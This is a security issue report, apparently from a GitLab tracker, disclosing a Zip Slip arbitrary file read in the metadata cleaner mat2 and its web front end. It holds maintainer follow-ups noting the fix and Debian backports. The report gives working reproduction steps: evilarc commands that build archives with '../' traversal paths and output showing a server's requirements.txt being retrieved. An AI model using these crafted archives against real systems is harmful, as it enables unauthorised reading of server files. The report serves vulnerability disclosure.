Arbitrary read via malicious zip file

[As received by email, sent by jfriedli]

Heyc

I found an issue in mat2. It is vulnerable to the Zip slip vulnerability.

Here a little summary:)

Create malicious file

Script used to create a Zip Slip file: https://github.com/ptoomey3/evilarc/blob/master/evilarc.py

```
python2.7 evilarc.py filename_to_extract.txt -d 0 -o "unix" -p "../../../home/kali/Documents/projects"
```

whereas filename_to_extract.txt is the filename of the file you want to extract from the victim system. Note: it has to be a supported extension by mat2

mat2 evil.zip

and upon extracting the cleaned zip file you receive the file from the victim.

Example Extracting Requirements.txt From Webserver

Create empty target file we want to extract. touch requirements.txt

We know the absolute path of the target file on the server from the Dockerfile.

```
python2.7 path_tra.py requirements.txt -d 0 -o "unix" -p "../../var/www/mat2-web/"
Creating evil.zip containing ../../var/www/mat2-web/requirements.txt
```

Check if if the path and filename is correct.

```
cat evilzip

PK�m�T*../.../var/www/mat2-web/requirements.txtPK�m�T*�t2-web/requirements.txtPKXH
```

Then upload the file via the web interface and download the cleaned zip.

Afterward we unzip it.

```
unzip evil.cleaned.zip
Archive: evil.cleaned.zip
warning: skipped "../" path component(s) in ../../var/www/mat2-web/requirements.txt
extracting: var/www/mat2-web/requirements.txt
```

And we can proof that we received the content of the requirements.txt from the server.

```
cat var/www/mat2-web/requirements.txt
mutagen==1.45.1
ffmpeg==1.4
bubblewrap==1.2.0
mat2==0.12.4
flask==2.1.2
Flask-RESTful==0.3.9
Flask-Cors==3.0.10
Cerberus==1.3.4
Flask-Testing==0.8.1
blinker==1.4
flasgger==0.9.5
Flask-Assets==2.0
```

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information Tasks 0 0 No tasks are currently assigned. Use tasks to break down this issue into smaller parts. Linked items D 0 Link issues together to show that they're related. Learn more. Activity jvoisin added critical information leak security labels 4 months ago 🖺 jvoisin assigned to @jvoisin 4 months ago jvoisin changed the description 4 months ago jvoisin @jvoisin · 4 months ago Author Owne This is fixed by beebca4b https://dustri.org/b/mat2-0130.html has some details as well. jvoisin made the issue visible to everyone 4 months ago G georg @georg · 4 months ago Developer As described above, that's fixed and released -- lets close this issue? jvoisin closed 4 months ago jvoisin @jvoisin · 4 months ago Author Owne As said in the blogpost: Case where an attacker is sending a malicious zip file to a regular mat2 user to process, and is then able to get it back should hopefully be pretty rare. But to be on the safe-side, I would recommend backporting, since the impact of this vulnerability can be pretty catastrophic. Moreover, the patch is pretty clean and self-contained. G georg @georg · 4 months ago Developer FTR, in Debian this issue has been fixed: • for oldstable (buster) in 0.8.0-3+deb10u1 • for stable (bullseye) in 0.12.1-2+deb11u1 • for unstable and testing in 0.13.0-1 Please register or sign in to reply